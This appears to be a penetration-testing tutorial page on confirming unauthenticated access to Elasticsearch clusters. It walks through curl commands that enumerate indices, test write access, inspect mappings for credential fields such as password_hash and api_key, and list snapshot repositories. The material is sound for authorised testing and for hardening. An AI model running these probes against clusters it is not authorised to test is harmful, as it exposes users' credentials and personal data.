Skip to content
HackIndex logo

HackIndex

Elasticsearch Unauthenticated Access and Data Exposure

3 min read Mar 26, 2026

Elasticsearch ships with security disabled by default in versions before 8.0. On older deployments and misconfigured newer ones, the REST API is fully accessible without credentials. Unauthenticated access enables complete index enumeration, document retrieval across all indices, and in many cases direct exposure of credentials, session tokens, and PII stored in application logs or user indices.

This page confirms the vulnerability condition and scopes which indices are readable. Data extraction is covered in the exploitation page.

Confirm Anonymous Read Access

The authenticate endpoint is the cleanest check. A 200 response with user context means the server considers your unauthenticated request as a valid identity, which is the vulnerability condition:

┌──(kali㉿kali)-[~]
└─$ curl -sk -i "http://$TARGET_IP:9200/_security/_authenticate" 
HTTP/1.1 200 OK

{"username":"anonymous","roles":[],"full_name":null,"email":null}

A 200 with anonymous or any non-error username confirms unauthenticated read access. A 401 means security is enabled and credentials are required. A 200 from the root endpoint alone is not sufficient confirmation since some proxy configurations return 200 for the banner but enforce auth on data endpoints.

Verify data access is also open by requesting the index list directly:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/_cat/indices?v" 
health status index          uuid         pri rep docs.count store.size
green  open   users          xK2aB1...    1   0   48291      12.3mb
green  open   app_logs       mN9cD3...    1   0   1823441    2.1gb
green  open   sessions       pQ7eF5...    1   0   9183       4.2mb

If this returns index names without prompting for credentials, the cluster is fully open for read. Indices named users, sessions, auth, customers, payments, or similar are immediate high-priority targets. The doc count and store size help gauge scope before deciding whether to do a targeted extraction or a full dump.

Confirm Write Access

Read access is the common case, but some misconfigured clusters also allow unauthenticated writes. This enables data manipulation and in older versions dynamic script execution. Test with a write to a throwaway index:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST "http://$TARGET_IP:9200/pentest-write-check/_doc" -H 'Content-Type: application/json' -d '{"test":"write_access_check"}' | python3 -m json.tool 
{
  "_index": "pentest-write-check",
  "_id": "abc123",
  "result": "created"
}

A result of created confirms unauthenticated write access. Clean up the test document after confirming:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X DELETE "http://$TARGET_IP:9200/pentest-write-check" | python3 -m json.tool

Scope Sensitive Index Exposure

With read access confirmed, check the field names in high-value indices without pulling actual data. Mappings reveal what is stored and whether the index is worth targeting:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/users/_mapping?pretty" | python3 -m json.tool 
{
  "users": {
    "mappings": {
      "properties": {
        "username": {"type": "keyword"},
        "password_hash": {"type": "keyword"},
        "email": {"type": "keyword"},
        "api_key": {"type": "keyword"},
        "role": {"type": "keyword"}
      }
    }
  }
}

Fields like password_hash, api_key, token, session_id, or secret confirm the index contains credential material. This is sufficient to establish the vulnerability impact without pulling the actual data. The exploitation page covers targeted extraction and full index dumps.

Check for Snapshot Repository Exposure

Snapshot repositories configured on the cluster can point to S3 buckets, shared filesystems, or other storage. An exposed repository listing reveals backup locations and can indicate access to external storage:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:9200/_snapshot?pretty" 
{
  "prod-backups": {
    "type": "s3",
    "settings": {
      "bucket": "company-es-snapshots",
      "region": "eu-west-1"
    }
  }
}

A snapshot repository response without authentication confirms the cluster exposes its backup configuration. S3 bucket names from this output are worth checking for public access separately from the Elasticsearch cluster itself.

References